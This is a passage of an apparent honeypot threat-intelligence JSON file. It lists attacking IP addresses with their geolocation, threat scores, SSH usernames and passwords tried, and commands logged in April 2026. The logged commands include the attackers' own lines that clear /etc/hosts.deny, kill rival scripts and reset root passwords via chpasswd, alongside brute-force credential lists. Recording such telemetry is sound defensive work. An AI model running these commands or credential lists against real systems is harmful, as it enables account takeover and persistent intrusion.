      "sessions": 300,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "sol",
        "jito",
        "eth",
        "ethereum",
        "mina",
        "minima",
        "node",
        "solana",
        "solv",
        "validator"
      ],
      "passwords_attempted": [
        "solana",
        "validator",
        "ethereum",
        "jito",
        "node",
        "!@#$QWER",
        "123",
        "1234",
        "1234QWER",
        "1234qwer",
        "1q2w3e4r",
        "QWER!@#$",
        "eth",
        "jitoproxy",
        "mina",
        "minima",
        "proxy",
        "q1w2e3r4",
        "qwer1234",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 2231,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T08:01:59.849000+00:00",
        "last_seen_30d": "2026-04-16T11:08:46.318000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1509,
        "Suricata": 722
      }
    },
    "107.150.103.210": {
      "attack_count": 945,
      "first_seen": "2026-04-02T08:39:25.826Z",
      "last_seen": "2026-04-19T18:37:11.350Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "deploy",
        "user",
        "adrian",
        "dmdba",
        "frappe",
        "ftpuser01",
        "lh",
        "minecraft",
        "postgres",
        "sammy",
        "test",
        "zjw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "!QAZ@WSX#EDC",
        "...asd123",
        "1111",
        "123",
        "123!@#Qwe",
        "123123123a",
        "123321",
        "123456",
        "123456123456",
        "1234qwerasdf",
        "123@123aA",
        "123qweASD",
        "303030",
        "Cacat123",
        "Cloud@2026",
        "Frappe2025",
        "Qwerty112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123@123aA\\nmp9ajSSkWqaG\\nmp9ajSSkWqaG\\n\"|passwd",
        "echo \"admin2024\\nb9rg7wasoH1s\\nb9rg7wasoH1s\\n\"|passwd",
        "echo \"admin@123\\nkJnLkWqHyeku\\nkJnLkWqHyeku\\n\"|passwd",
        "echo \"ftpuser01\\nDWJBByqhPCE7\\nDWJBByqhPCE7\\n\"|passwd",
        "echo \"root:7qng0jYeisUl\"|chpasswd|bash",
        "echo \"root:F8zInqUkG1ba\"|chpasswd|bash",
        "echo \"root:MxSBwV83Klzo\"|chpasswd|bash",
        "echo \"root:V73cIfZsfinA\"|chpasswd|bash",
        "echo \"root:Ysmd0ndtxiSV\"|chpasswd|bash",
        "echo \"root:hUnnLYFjzySQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1093,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:39:25.826000+00:00",
        "last_seen_30d": "2026-04-19T18:38:19.921000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 945,
        "Suricata": 148
      }
    },
    "129.226.4.94": {
      "attack_count": 838,
      "first_seen": "2026-04-02T08:31:09.483Z",
      "last_seen": "2026-04-17T10:36:55.514Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "postgres",
        "ubuntu",
        "Azure",
        "deploy",
        "dev",
        "lee",
        "mk",
        "n8n",
        "odoo",
        "server",
        "test1",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "...asd123",
        "123123123a",
        "123456123456",
        "12345679",
        "123456Aa",
        "1234qwerasdf",
        "123asd!@#ASD",
        "303030",
        "3edc@WSX!QAZ",
        "AA123456-",
        "Abc@123456789",
        "Cloud@2026",
        "Dev28!",
        "Frappe10!",
        "N8n!2025",
        "Pa55word",
        "Root24!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qwe\\nSGxalvt7Jd3a\\nSGxalvt7Jd3a\\n\"|passwd",
        "echo \"root:2qXJMAQwCNGM\"|chpasswd|bash",
        "echo \"root:3MNNKYexqvCP\"|chpasswd|bash",
        "echo \"root:9IAjuleYqSu4\"|chpasswd|bash",
        "echo \"root:CP1thwjNd1b3\"|chpasswd|bash",
        "echo \"root:QRXqd5dp5tFv\"|chpasswd|bash",
        "echo \"root:Z37IRbsvM2KI\"|chpasswd|bash",
        "echo \"root:n8NtXUIkdEJQ\"|chpasswd|bash",
        "echo \"root:vk2fqw1Tyk6n\"|chpasswd|bash",
        "echo -e \"qwe\\nSGxalvt7Jd3a\\nSGxalvt7Jd3a\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.9,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 983,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:31:09.483000+00:00",
        "last_seen_30d": "2026-04-17T10:38:00.916000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 838,
        "Suricata": 145
      }
    },
    "172.191.157.64": {
      "attack_count": 593,
      "first_seen": "2026-04-12T01:56:30.223Z",
      "last_seen": "2026-04-18T13:26:01.799Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "ubuntu",
        "dev",
        "es1",
        "ftpuser",
        "sammy",
        "test",
        "test_user",
        "admin",
        "chrome",
        "dbuser",
        "demo",
        "es",
        "habib",
        "manager",
        "odoo",
        "oracle",
        "pankaj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!P@ssw0rd",
        "!qaz2wsx",
        "123456",
        "123QWE",
        "1qaz#EDC",
        "3edc@@",
        "Aa1234567890",
        "Abcd123.",
        "Admin13!",
        "Dev13!",
        "Ftpuser26!",
        "N8n05",
        "Passw0rd1",
        "QWER2024",
        "Qazwsx1!@#",
        "Qazwsx123@#",
        "QweQwe12",
        "Root9999!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nxlcsZi8ykGnW\\nxlcsZi8ykGnW\\n\"|passwd",
        "echo \"N8n05\\nXYDZQtddJyEy\\nXYDZQtddJyEy\\n\"|passwd",
        "echo \"root:L5F82FEZwkW1\"|chpasswd|bash",
        "echo \"root:hoTY0ToWoT4e\"|chpasswd|bash",
        "echo \"test_user\\nh5G66dgN3yrK\\nh5G66dgN3yrK\\n\"|passwd",
        "echo -e \"123456\\nxlcsZi8ykGnW\\nxlcsZi8ykGnW\"|passwd|bash",
        "echo -e \"N8n05\\nXYDZQtddJyEy\\nXYDZQtddJyEy\"|passwd|bash",
        "echo -e \"test_user\\nh5G66dgN3yrK\\nh5G66dgN3yrK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 729,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:56:30.223000+00:00",
        "last_seen_30d": "2026-04-18T13:27:08.949000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 593,
        "Suricata": 136
      }
    },
    "20.203.59.187": {
      "attack_count": 461,
      "first_seen": "2026-04-05T19:29:42.234Z",
      "last_seen": "2026-04-23T07:51:29.546Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "git",
        "admin1234",
        "frappe",
        "user",
        "geo",
        "gitlab-runner",
        "info",
        "n",
        "odoo",
        "oracle",
        "steam",
        "test",
        "testftp1",
        "user03",
        "walter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123456-qwe",
        "12345678",
        "123P@ssword",
        "123Qwert",
        "123asdZXC",
        "1Password",
        "1Qwerty",
        "1q2w3e4r5t!@#",
        "1qaz3edc",
        "1qw2!QW@",
        "258456",
        "28092026",
        "5tgb@#",
        "Admin1234#",
        "Admin@123",
        "Login2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin1234\\nCu80u1Edc407\\nCu80u1Edc407\\n\"|passwd",
        "echo \"redhat\\n1XBIMauVfbuL\\n1XBIMauVfbuL\\n\"|passwd",
        "echo \"root:OJPwQ9RKgmW8\"|chpasswd|bash",
        "echo -e \"admin1234\\nCu80u1Edc407\\nCu80u1Edc407\"|passwd|bash",
        "echo -e \"redhat\\n1XBIMauVfbuL\\n1XBIMauVfbuL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T19:29:42.234000+00:00",
        "last_seen_30d": "2026-04-23T07:52:32.716000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 461,
        "Suricata": 129
      }
    },
    "103.49.238.63": {
      "attack_count": 410,
      "first_seen": "2026-04-24T12:48:48.879Z",
      "last_seen": "2026-04-24T13:34:35.506Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "erpnext",
        "frappe",
        "postgres",
        "ubuntu",
        "crm",
        "gmodserver",
        "n8n",
        "steam1",
        "system",
        "test",
        "tidb",
        "user",
        "user6",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r5t",
        "0000",
        "101010",
        "112233",
        "123",
        "123456",
        "123456aa@",
        "123456wW",
        "123asd,./",
        "1qa@WS3ed$RF",
        "AAdd123123",
        "Aa112211.",
        "Hello@123",
        "N8n24",
        "ZAQ!2wsx654321@@",
        "asdlkj123",
        "crm",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"0000\\n1cAx3ZkWUnpo\\n1cAx3ZkWUnpo\\n\"|passwd",
        "echo \"123456\\nUALFW6rg2sd3\\nUALFW6rg2sd3\\n\"|passwd",
        "echo \"password\\nUe3bt9PkSWwz\\nUe3bt9PkSWwz\\n\"|passwd",
        "echo \"root:EuIdMRWtLVzy\"|chpasswd|bash",
        "echo -e \"0000\\n1cAx3ZkWUnpo\\n1cAx3ZkWUnpo\"|passwd|bash",
        "echo -e \"123456\\nUALFW6rg2sd3\\nUALFW6rg2sd3\"|passwd|bash",
        "echo -e \"password\\nUe3bt9PkSWwz\\nUe3bt9PkSWwz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 488,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T12:48:48.879000+00:00",
        "last_seen_30d": "2026-04-24T13:35:41.450000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 410,
        "Suricata": 78
      }
    },
    "27.79.6.220": {
      "attack_count": 407,
      "first_seen": "2026-04-22T17:35:16.152Z",
      "last_seen": "2026-04-22T18:12:52.335Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "test",
        "user",
        "123456",
        "ace",
        "admian",
        "anton",
        "belkinstyle",
        "brenda",
        "btf",
        "carol",
        "cisco",
        "config",
        "db2inst2",
        "demo",
        "dubai",
        "ftp",
        "ftpuser"
      ],
      "passwords_attempted": [
        "admin",
        "12345",
        "123456",
        "12345678",
        "password",
        "039715582364317",
        "0987654321",
        "1",
        "1111",
        "111111",
        "123",
        "123456789",
        "321start",
        "72ca06",
        "Deadstar!",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "ace"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 576,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:35:16.152000+00:00",
        "last_seen_30d": "2026-04-22T18:13:58.101000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 407,
        "Suricata": 169
      }
    },
    "209.141.47.217": {
      "attack_count": 399,
      "first_seen": "2026-04-15T20:57:05.921Z",
      "last_seen": "2026-04-15T21:37:26.131Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "mohit",
        "user",
        "ali",
        "clamav",
        "frappe",
        "tempuser",
        "teste",
        "ubuntu",
        "xxx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "121212",
        "1234.qwe",
        "123456",
        "12345687",
        "159357qaz",
        "1q2w3e4r5t",
        "3edc4RFV",
        "ASDF!!",
        "Aa112211.",
        "Ali14!",
        "Steam08!",
        "ZAQ!2wsx2025@#",
        "aa@147258",
        "abc123",
        "asdfghjk",
        "iwYpKi9&oE36.923967E-3103Xy",
        "lol"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Steam08!\\nufrOqKs8STNW\\nufrOqKs8STNW\\n\"|passwd",
        "echo \"mohit@123\\nszTcazFOZ77N\\nszTcazFOZ77N\\n\"|passwd",
        "echo \"root:Ozuq0Cls2FZQ\"|chpasswd|bash",
        "echo \"root:vUHUQO9ZZNJK\"|chpasswd|bash",
        "echo -e \"Steam08!\\nufrOqKs8STNW\\nufrOqKs8STNW\"|passwd|bash",
        "echo -e \"mohit@123\\nszTcazFOZ77N\\nszTcazFOZ77N\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 472,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T20:57:05.921000+00:00",
        "last_seen_30d": "2026-04-15T21:38:34.588000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 73
      }
    },
    "152.32.130.174": {
      "attack_count": 367,
      "first_seen": "2026-04-26T07:39:14.623Z",
      "last_seen": "2026-04-28T14:21:53.864Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "mas",
        "andrew",
        "k8s",
        "kbe",
        "mario",
        "mpiuser",
        "oracle",
        "qichen",
        "steam",
        "suser",
        "test01",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!1qa@ws",
        "0FFICE1",
        "1234",
        "123Qwe123",
        "1a2b",
        "20251228",
        "@Dmin123",
        "AAA1234567890",
        "Admin",
        "Admin12345@123",
        "Admin987",
        "Desktop@123",
        "Mask@321..",
        "P@ssw0rd07",
        "Pa$$word*",
        "Password@2026",
        "Princess123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mas\\nXK3yYgIfy0Iy\\nXK3yYgIfy0Iy\\n\"|passwd",
        "echo \"root:qJo7U89bs0LA\"|chpasswd|bash",
        "echo -e \"mas\\nXK3yYgIfy0Iy\\nXK3yYgIfy0Iy\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 478,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T07:39:14.623000+00:00",
        "last_seen_30d": "2026-04-28T14:22:57.158000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 111
      }
    },
    "43.166.242.149": {
      "attack_count": 350,
      "first_seen": "2026-04-13T19:15:40.343Z",
      "last_seen": "2026-04-17T22:13:25.000Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "dev",
        "ftp-test",
        "345gs5662d34",
        "claude",
        "deploy",
        "deployer",
        "git",
        "jk",
        "rico",
        "ruslan",
        "steam",
        "test"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "1234Zxcv",
        "123qwe",
        "124",
        "3245gs5662d34",
        "345gs5662d34",
        "A1234567890",
        "Claude20!",
        "Huawei12#$%",
        "M45uys51!",
        "P@ssw0rld",
        "admin@123",
        "asd123",
        "devdev",
        "ftp-test",
        "hello123",
        "neobayneobay12$",
        "qazwsx",
        "qazwsx1111111!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "echo \"root:n3nAl0vzy5x2\"|chpasswd|bash",
        "echo \"ubuntu_11\\n9J3ONI6JKtlu\\n9J3ONI6JKtlu\\n\"|passwd",
        "echo -e \"ftp-test\\n5WzJULTFYVEv\\n5WzJULTFYVEv\"|passwd|bash",
        "echo -e \"ubuntu_11\\n9J3ONI6JKtlu\\n9J3ONI6JKtlu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 449,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T19:15:40.343000+00:00",
        "last_seen_30d": "2026-04-17T22:14:26.084000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 99
      }
    },
    "51.158.120.121": {
      "attack_count": 336,
      "first_seen": "2026-04-02T15:28:54.624Z",
      "last_seen": "2026-04-27T19:34:39.771Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "rootuser",
        "test",
        "zhoufengtao"
      ],
